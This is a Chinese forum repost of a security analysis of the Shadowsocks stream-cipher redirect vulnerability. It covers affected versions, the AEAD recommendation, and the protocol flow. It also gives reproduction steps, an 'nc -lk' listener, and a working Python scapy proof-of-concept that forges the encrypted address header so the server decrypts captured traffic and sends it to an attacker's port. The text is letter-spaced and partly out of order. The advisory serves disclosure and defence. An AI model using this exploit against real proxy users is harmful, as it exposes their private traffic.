搜索

[21100] 2020-06-22_Shadowsocks重定向攻击分析

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-18
2020-06-22_Shadowsocks重定向攻击分析 S h a d o w s o c k s   重 定 向 攻 击 分 析 Z h i z h i a n g   P e n g   L e m o n S e c   2 0 2 0 - 0 6 - 2 2 本 文 原 创 分 析 作 者 本 文 原 创 分 析 作 者     3 6 0 核 心 团 队 核 心 团 队   Z h i z h i a n g   P e n g 0 x 0 0   简 介 简 介         S h a d o w s o c k s 是 一 款 科 学 上 网 工 具 , 基 于 S o c k s 5 代 理 方 式 的 加 密 传 输 协 议 . 在 中 国 广 泛 使 用 . 前 几 个 月   3 6 0 核 心 团 队   Z h i z h i a n g   P e n g 发 现 了 s h a d o w s o c k s 协 议 中 的 一 个 漏 洞 , 该 漏 洞 打 破 了 s h a d o w s o c k s 流 密 码 的 机 密 性 . 被 动 攻 击 者 可 以 使 用 我 们 的 重 定 向 攻 击 轻 松 解 密 所 有 加 密 的 s h a d o w s o c k s 数 据 包 . 更 重 要 的 是 , 中 间 人 攻 击 者 可 以 实 时 修 改 流 量 , 就 像 根 本 没 有 加 密 一 样 . 0 x 0 1 : 受 影 响 版 本 受 影 响 版 本 s h a d o w s o c k s - p y s h a d o w s o c o k s - g o s h a d o w s o c o k s - n o d e j s 0 x 0 2 : 建 议 使 用 版 本 建 议 使 用 版 本 s h a d o w s o c k s - l i b e v g o - s h a d o w s o c k s 2 并 且 仅 使 用 A E A D 密 码 0 x 0 3 : s h a d o w s o c k s 工 作 思 路 工 作 思 路         S h a d o w s o c k s 本 地 组 件 ( s s - l o c a l ) 的 作 用 类 似 于 传 统 的 S O C K S 5 服 务 器 为 客 户 端 提 供 代 理 服 务 . 它 加 密 和 转 发 数 据 流 和 数 据 包 客 户 端 到 S h a d o w s o c k s 远 程 组 件 ( s s - r e m o t e ) , 后 者 解 密 并 转 发 到 目 标 . 从 目 标 也 同 样 加 密 和 转 播   R e p l i e s   s s - r e m o t e 回 到 s s l o c a l ,   解 密 和 最 终 返 回 到 原 来 的 客 户 端 . 0 x 0 4 : 整 体 逻 辑 整 体 逻 辑         浏 览 器 使 用   s o c k s 5 代 理 , 将 数 据 发 给   s s l o c a l 服 务 , s s l o c a l   将 数 据 加 密 后 传 递 给   s s s e r v e r , s s s e r v e r   解 密 数 据 , 访 问 指 定 资 源 , 返 回 加 密 的 数 据 , s s l o c a l   再 解 密 返 回 给 浏 览 器 .         整 个 过 程 比 较 容 易 理 解 , 接 下 来 通 过 阅 读 代 码 的 方 式 讲 一 下 整 个 流 程 , 着 重 看 数 据 拼 接 和 加 密 部 分 . s s l o c a l 发 包 流 程 ： 发 包 流 程 ：             t c p R e l a y . p y   中 , 类 T C P R e l a y H a n d l e r   构 造 方 法 里 , 主 动 创 建   E n c r y p t o r 结 构 体 . E n c r y p t o r   结 构 体 初 始 化 时 , 使 用   c o n f i g   里 的 “ P A S S ” 密 钥 , 作 为 种 子 生 成 真 正 的   k e y , 将 来 长 期 使 用 , 随 机 产 生   r a n d _ i v , 在 当 前 数 据 包 中 使 用 . 使 用 命 令               使 用 s o c k s 5   代 理 , 尝 试 访 问   a . b a i d u . c o m . 客 户 <   -   -   -   >   s s - l o c a l   < — — ( 加 密 ) — — >   s s - r e m o t e   <   -   -   -   > 目 标 c u r l   - - s o c k s 5   1 2 7 . 0 . 0 . 1 : 1 0 8 0   h t t p : / / a . b a i d u . c o m
          t c p R e l a y . p y 中 , _ h a n d l e _ s t a g e _ a d d r 收 到 s o c k s 5   的 协 议 头 , 稍 加 解 析 和 验 证 , 将 该 数 据 使 用   A E S . u p d a t e ( s o c k s 5 H e a d e r )             t c p R e l a y . p y   中 , _ h a n d l e _ s t a g e _ c o n n e c t i n g   收 到   H T T P   请 求 的 数 据 , 并 将 改 数 据 使 用   A E S . u p d a t e ( h t t p R e q u e s t )               t c p R e l a y . p y   中 , _ o n _ r e m o t e _ r e a d   收 到 了   s s s e r v e r   返 回 的 数 据 , 前   1 6   字 节 是 s e r v e r   生 成 的   r a n d _ i v 2 , 后 面 的 数 据 是 密 文 , 解 密 后 就 是 返 回 包 的 内 容 . 攻 击 者 只 知 道   r a n d _ i v 、 r a n d _ i v 2 , 不 知 道 k e y , 因 此 无 法 直 接 解 密 整 个 r e q u e s t   和   r e s p o n s e . 0 x 0 5 : 场 景 的 分 析 场 景 的 分 析 针 对 针 对 I P 直 连 的 攻 击 直 连 的 攻 击         浏 览 器 使 用 s o c k s 5 代 理 , 通 过 客 户 端 去 访 问 a . b a i d u . c o m 的 I P 地 址 , 攻 击 者 拿 到 加 密 的 返 回 包 , 可 以 破 解 h t t p R e s p o n s e 内 容 ( 大 部 分 内 容 ) . 一 、 启 动 s s s e r v e r , p y t h o n 3   m y s e r v e r . p y ； 二 、 启 动 s s l o c a l , p y t h o n 3   m y c l i e n t . p y ； 三 、 开 启 w i r e s h a r k , 四 、 使 用 c u r l 发 包 c u r l   - - s o c k s 5   1 2 7 . 0 . 0 . 1 : 1 0 8 0   h t t p : / / a . b a i d u . c o m , 五 、 收 到 返 回 “   O K ” , 六 、 保 存 为 s s _ i p _ d i r e c t . p c a p n g 七 、 攻 击 者 监 听   1 2 7 . 0 . 0 . 1 : 1 0 8 3 八 、 攻 击 者 解 析 s s _ i p _ d i r e c t . p c a p n g 中 的 返 回 包 , 纠 正 改 写 , 将 目 标 地 址 从 b a i d u 的 I P 写 为 1 2 7 . 0 . 0 . 1 : 1 0 8 3 纠 正 改 后 发 给 1 0 8 1             恶 意 攻 击 总 计 1 0 8 1 将 数 据 解 密 , 发 送 给 1 2 7 . 0 . 0 . 1 : 1 0 8 3 ( 或 任 意 指 定 的 I P 和 端 口 )         默 认 s s s e r v e r 不 会 发 数 据 给 1 2 7 . 0 . 0 . 1 : 1 0 8 3 , 需 要 临 时 将 _ c r e a t e _ r e m o t e _ s o c k e t 下 面 该 检 查 补 丁 掉 ！ 或 者 把 目 标 改 成 一 台 公 网 I P 和 端 口 为 了 方 便 复 现 , 已 经 抓 到 一 组 包 , 只 需 要 执 行 下 面 的 三 句 代 码 即 可 ： 最 终 组 合 好 的 明 文 数 据 是 ： d a t a   =   s o c k 5 H e a d e r   +   h t t p R e q u e s t 最 终 发 给 服 务 器 最 后 的 数 据 是 ： r a n d _ i v   +   A E S - c f b ( k e y ,   r a n d _ i v ,   d a t a ) s s s e r v e r 收 包 过 程 省 略 、 s s s e r v e r   发 包 过 程 省 略 s s l o c a l 收 包 相 当 于 ： h t t p R e s p o n s e   =   A E S - c f b ( k e y ,   r a n d _ i v 2 ,   r e c v _ d a t a )         i f   s e l f . _ f o r b i d d e n _ i p l i s t :                 i f   c o m m o n . t o _ s t r ( s a [ 0 ] )   i n   s e l f . _ f o r b i d d e n _ i p l i s t :                         r a i s e   E x c e p t i o n ( ' I P   % s   i s   i n   f o r b i d d e n   l i s t ,   r e j e c t '   %                                 c o m m o n . t o _ s t r ( s a [ 0 ] ) ) p y t h o n 3   m y s e r v e r . p y   启 动 s s s e r v e r n c   - l k   1 0 8 3   监 听 1 0 8 3 端 口 p y t h o n 3   i p _ d i r e c t _ a t t a c k . p y   读 取 密 文 , 伪 改 密 文 , 发 送 给 s s s e r v e r
之 后 观 察 1 0 8 3 , 会 出 现 下 图 的 样 子 针 对 域 名 访 问 的 攻 击 针 对 域 名 访 问 的 攻 击         浏 览 器 使 用 s o c k s 5 代 理 , 通 过 客 户 端 去 访 问 a . b a i d u . c o m 的 域 名 地 址 , 攻 击 者 拿 到 加 密 的 请 求 包 , 可 以 破 解 h t t p R e q u e s t 内 容 ( 大 部 分 内 容 ) . 一 、 启 动 s s s e r v e r , p y t h o n 3   m y s e r v e r . p y ; 二 、 启 动 s s l o c a l , p y t h o n 3   m y c l i e n t . p y ; 三 、 开 启 w i r e s h a r k , 四 、 使 用 S a f a r i 浏 览 器 挂 个 代 理 , 收 到 返 回 “   O K ” , 保 存 为   s s _ d o m a i n . p c a p n g 五 、 攻 击 者 监 听 1 2 7 . 0 . 0 . 1 : 1 0 8 3 , 并 且 申 请 a . b a i d u . a b c 域 名 , 指 向 自 己 的 服 务 器 ; ( 此 处 为 了 演 示 , 在 本 地 主 机 里 干 了 这 件 事 )         攻 击 者 解 析 s s _ d o m a i n . p c a p n g 中 的 请 求 包 , 篡 改 头 部 , 将 a . b a i d u . c o m 对 划 线 a . b a i d u . a b c , 篡 改 后 发 给 1 0 8 1         恶 意 攻 击 总 计 1 0 8 1 将 数 据 解 密 , 发 送 给 a . b a i d u . a b c : 1 0 8 3 ( 或 任 意 指 定 的 域 名 和 端 口 )   默 认 s s s e r v e r 不 会 发 数 据 给 1 2 7 . 0 . 0 . 1 : 1 0 8 3 , 需 要 临 时 将 _ c r e a t e _ r e m o t e _ s o c k e t 下 面 该 检 查 补 丁 掉 ！ 或 者 把 目 标 改 成 一 台 公 网 I P 和 端 口 为 了 方 便 复 现 , 已 经 抓 到 一 组 包 , 只 需 要 执 行 下 面 的 四 句 代 码 即 可 ： 之 后 观 察 1 0 8 3 , 会 出 现 下 图 的 样 子 演 示 过 程 ： 演 示 过 程 ： 1 2 7 . 0 . 0 . 1   a . b a i d u . a b c   加 入 房 东 p y t h o n 3   m y s e r v e r . p y   启 动 s s s e r v e r n c   - l k   1 0 8 3   监 听 1 0 8 3 端 口 p y t h o n 3   d o m a i n _ a t t a c k . p y   读 取 密 文 , 伪 改 密 文 , 发 送 给 s s s e r v e r # i p _ d i r e c t _ a t t a c k . p y f r o m   s c a p y . p a c k e t   i m p o r t   R a w f r o m   s c a p y . a l l   i m p o r t   r d p c a p i m p o r t   s o c k e t i m p o r t   s t r u c t
0 x 0 6 : R e f e r e r : 以 上 逻 辑 分 析 源 自 以 上 逻 辑 分 析 源 自 h t t p s : / / w w w . l e a d r o y a l . c n / ? p = 1 0 3 6 h t t p s : / / g i t h u b . c o m / L e a d r o y a L / s s - r e d i r e c t - v u l n - e x p h t t p s : / / g i t h u b . c o m / e d w a r d z 2 4 6 0 0 3 / s h a d o w s o c k s i m p o r t   s t r u c t i m p o r t   t i m e p a c k e t s   =   r d p c a p ( " s s _ i p _ d i r e c t . p c a p n g " ) p k g _ s e n d ,   p k g _ r e c v   =   N o n e ,   N o n e f o r   p   i n   p a c k e t s :         i f   p [ ' T C P ' ]   a n d   p [ ' T C P ' ] . d p o r t   = =   1 0 8 1   a n d   i s i n s t a n c e ( p [ ' T C P ' ] . p a y l o a d ,   R a w ) :                 p k g _ s e n d   =   p         i f   p [ ' T C P ' ]   a n d   p [ ' T C P ' ] . s p o r t   = =   1 0 8 1   a n d   i s i n s t a n c e ( p [ ' T C P ' ] . p a y l o a d ,   R a w ) :                 p k g _ r e c v   =   p s e n d _ i v ,   s e n d _ d a t a   =   p k g _ s e n d [ ' T C P ' ] . p a y l o a d . l o a d [ : 1 6 ] ,   p k g _ s e n d [ ' T C P ' ] . p a y l o a d . l o a d [ 1 6 : ] r e c v _ i v ,   r e c v _ d a t a   =   p k g _ r e c v [ ' T C P ' ] . p a y l o a d . l o a d [ : 1 6 ] ,   p k g _ r e c v [ ' T C P ' ] . p a y l o a d . l o a d [ 1 6 : ] p r e d i c t _ d a t a   =   b " H T T P / 1 . 1 " p r e d i c t _ x o r _ k e y   =   b y t e s ( [ ( p r e d i c t _ d a t a [ i ]   ^   r e c v _ d a t a [ i ] )   f o r   i   i n   r a n g e ( l e n ( p r e d i c t _ d a t a ) ) ] ) t a r g e t _ i p   =   " 1 2 7 . 0 . 0 . 1 " t a r g e t _ p o r t   =   1 0 8 3 f a k e _ h e a d e r   =   b ' x 0 1 '   +   s o c k e t . i n e t _ p t o n ( s o c k e t . A F _ I N E T ,   t a r g e t _ i p )   +   b y t e s ( s t r u c t . p a c k ( ' > H ' ,   t a r g e t _ p o r t ) ) f a k e _ h e a d e r   =   b y t e s ( [ ( f a k e _ h e a d e r [ i ]   ^   p r e d i c t _ x o r _ k e y [ i ] )   f o r   i   i n   r a n g e ( l e n ( f a k e _ h e a d e r ) ) ] ) f a k e _ d a t a   =   r e c v _ i v   +   f a k e _ h e a d e r   +   r e c v _ d a t a [ l e n ( f a k e _ h e a d e r ) : ] p r i n t ( f a k e _ d a t a . h e x ( ) ) s   =   s o c k e t . s o c k e t ( ) s . c o n n e c t ( ( " 1 2 7 . 0 . 0 . 1 " ,   1 0 8 1 ) ) s . s e n d ( f a k e _ d a t a ) p r i n t ( ' T c p   s e n d i n g . . .   ' ) t i m e . s l e e p ( 3 ) s . c l o s e ( )
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理